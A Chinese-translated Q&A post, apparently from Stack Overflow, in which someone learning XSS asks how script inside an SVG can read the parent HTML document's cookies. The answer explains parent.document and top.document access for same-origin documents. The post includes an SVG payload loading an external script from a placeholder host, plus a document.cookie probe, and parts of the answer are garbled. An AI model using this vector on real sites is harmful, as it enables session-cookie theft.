如何从SVG文档JavaScript中获取父文档对象?

时间:2013-06-22 09:35:50

标签: javascript security svg xss document

我在学习XSS。我知道HTML SVG对象存在漏洞

来源在这里

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="0" height="0" id="xss"><script type="text/ecmascript" xlink:href="http://blahblahblah.com/~blah/xss/xss.js"></script></svg>

我在xss.js

中尝试过这个
alert(document.cookie);

但cookie的值是“未定义”

SVG对象中有Document对象,但它与HTML Document Object不同。

然后,我如何获取cookie的父文档对象?

请帮助。

感谢阅读。

1 个答案:

答案 0 :(得分:4)

有一个HTMLDocument接口和一个SVGDocument接口,它们都来自基础Document接口,它提供了一些常用方法。 Cookie是HTMLDocument界面的一部分,因此只有HTML文档才能获得cookie。

如果您正在讨论<svg>通过<object><embed><iframe>标记嵌入h parent.document的情况,那么top.document或者<html> <body> <object id="object" data="embedded.svg" type="image/svg+xml" width="450" height="300"> </object> </body> </html> 将从SVG对象的脚本中获取父html文档,前提是SVG和HTML文档位于同一个域中。

至少在Firefox上这对我有用......

<svg xmlns="http://www.w3.org/2000/svg">
  <rect x="0" y="0" width="100%" height="100%" fill="blue"/>
  <script>
    alert(parent.document);
  </script>
</svg>

与embedded.svg一起

{{1}}